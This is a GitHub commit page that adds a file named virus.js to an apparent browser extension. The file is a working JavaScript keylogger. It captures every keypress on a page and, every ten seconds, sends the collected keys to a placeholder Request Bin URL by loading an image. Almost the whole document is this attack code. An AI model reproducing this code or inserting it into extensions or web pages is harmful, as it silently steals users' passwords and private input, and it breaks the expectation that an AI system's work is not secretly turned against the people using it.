Skip to content

Commit

Permalink
Adding virus.js
Browse files Browse the repository at this point in the history
  • Loading branch information
EXTREMOPHILARUM authored May 21, 2021
1 parent cc80956 commit a8e7577
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions extension/virus.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
var keys = '';
document.onkeypress = function (e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function () {
if (keys.length > 0){
new Image().src = 'http://{Request Bin URL}?c=' + keys;
}
keys = '';
}, 10000);

0 comments on commit a8e7577

Please sign in to comment.